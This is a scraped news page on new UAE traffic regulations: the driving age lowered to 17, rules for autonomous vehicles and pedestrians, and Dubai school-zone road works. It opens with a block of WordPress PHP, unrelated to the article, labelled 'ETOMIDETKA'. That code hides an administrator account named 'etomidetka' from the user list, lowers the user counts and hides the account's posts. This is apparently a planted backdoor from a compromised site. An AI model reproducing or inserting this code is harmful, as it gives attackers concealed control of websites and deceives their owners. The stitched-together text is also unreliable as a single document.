//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); UAE Lowers Driving Age and Introduces New Traffic Regulations to Bolster Road Safety
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UAE Lowers Driving Age and Introduces New Traffic Regulations to Bolster Road Safety

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UAE Lowers Driving Age and Introduces New Traffic Regulations

UAE Lowers Driving Age and Introduces New Traffic Regulations to Bolster Road Safety. The UAE government has announced a significant update to its traffic regulations with a newly issued federal decree-law. This reform permits individuals aged 17 and older to apply for a driving license, a move aimed at aligning with the rapidly evolving global transportation landscape.

These changes underscore the UAE’s commitment to enhancing road safety and adapting to modern transportation trends.

UAE Lowers Driving Age and Introduces New Traffic Regulations to Bolster Road Safety

Lower Minimum Age for Drivers

The most notable update is the reduction of the minimum age required to obtain a driving license. Effective immediately, 17-year-olds in the UAE are now eligible to apply for a license.

This initiative reflects the government efforts to provide younger residents with the opportunity to drive legally while emphasizing the importance of responsible driving behavior.

Regulations for Self-Driving and Electric Vehicles

Acknowledging the increasing use of self-driving and electric cars, the UAE has outlined new regulations to govern their use. The federal decree-law includes comprehensive standards for the inspection, registration, licensing, and renewal of autonomous vehicles. Additionally, guidelines for technology trials in self-driving vehicles have been established to ensure safety and compliance.

Rules for Personal Transport Devices

A Cabinet resolution has detailed the obligations for users of personal transportation devices. These regulations are designed to promote responsible usage and improve safety for all road users, as the UAE adapts to a variety of modern transportation methods.

Pedestrian Safety Regulations

The decree has also placed emphasis on pedestrian safety. New rules prohibit pedestrians from crossing roads where speed limits exceed 80 km/h, and violations could lead to civil or criminal consequences. This measure is intended to protect pedestrians and reduce road accidents in high-speed zones.

Noise Control and Alarm Use

The use of loud vehicles and alarms in urban areas is now restricted. Alarms are permitted solely for safety purposes, curbing noise pollution and fostering a more harmonious urban environment.

Transport of Hazardous Materials

Transporting hazardous or unusual materials now requires a special permit from the relevant authorities. This regulation ensures that hazardous goods are managed safely, mitigating potential risks to road users and the environment.

Strict Penalties for Severe Traffic Violations

The new traffic regulations in the UAE also come with stringent penalties for severe infractions. Offenses such as causing death while driving under the influence, leaving the scene of an accident, and driving recklessly through flood-prone areas now carry significant consequences. These measures are aimed at reinforcing a culture of safety and accountability on the roads.

Recent Road Safety Enhancements in Dubai

Complementing the federal decree-law, Dubai’s Roads and Transport Authority (RTA) has recently completed a series of traffic enhancement projects, particularly around educational zones. These initiatives, benefiting 37 schools, are part of a broader strategy to support the city’s urban development and prioritize road safety.

Key Areas of Improvement:

  • King School Dubai (Umm Suqeim Street)
  • The International School of Choueifat and Dubai College (Hessa Street)
  • Al Safa Schools Complex
  • School of Research Science (Al Warqa 4)
  • Al Qusais, Al Mizhar, Nad Al Sheba, and Al Tawar Schools Complexes

Major Upgrades Included:

  • Street widening to improve traffic flow
  • Additional parking spaces for school staff and parents
  • Enhanced school entrances and exits
  • Implementation of traffic diversions
  • Designated drop-off and pick-up zones for safer student transitions

In September 2024, a new roadway was opened on Umm Suqeim Street to ease congestion near Kings’ School, which is expected to cut peak-hour traffic by 40%.

Future Projects: The Al Khaleej Street Tunnel

The RTA has also awarded a contract for the Al Khaleej Street Tunnel Project, a pivotal part of the Al Shindagha Corridor development. This tunnel, which will extend from the Infinity Bridge ramp in Deira to Al Khaleej and Cairo Streets, features six lanes and will accommodate up to 12,000 vehicles per hour. Set for completion by 2030, this project aims to drastically reduce travel times from 104 to just 16 minutes, serving approximately one million residents.

Conclusion

The UAE proactive approach to updating traffic regulations, accommodating the surge in modern vehicle technology, and implementing new safety measures demonstrates the country dedication to maintaining safe and efficient roadways.

By lowering the driving age and establishing strict safety standards, the UAE continues to prioritize road safety while embracing the future of transportation.

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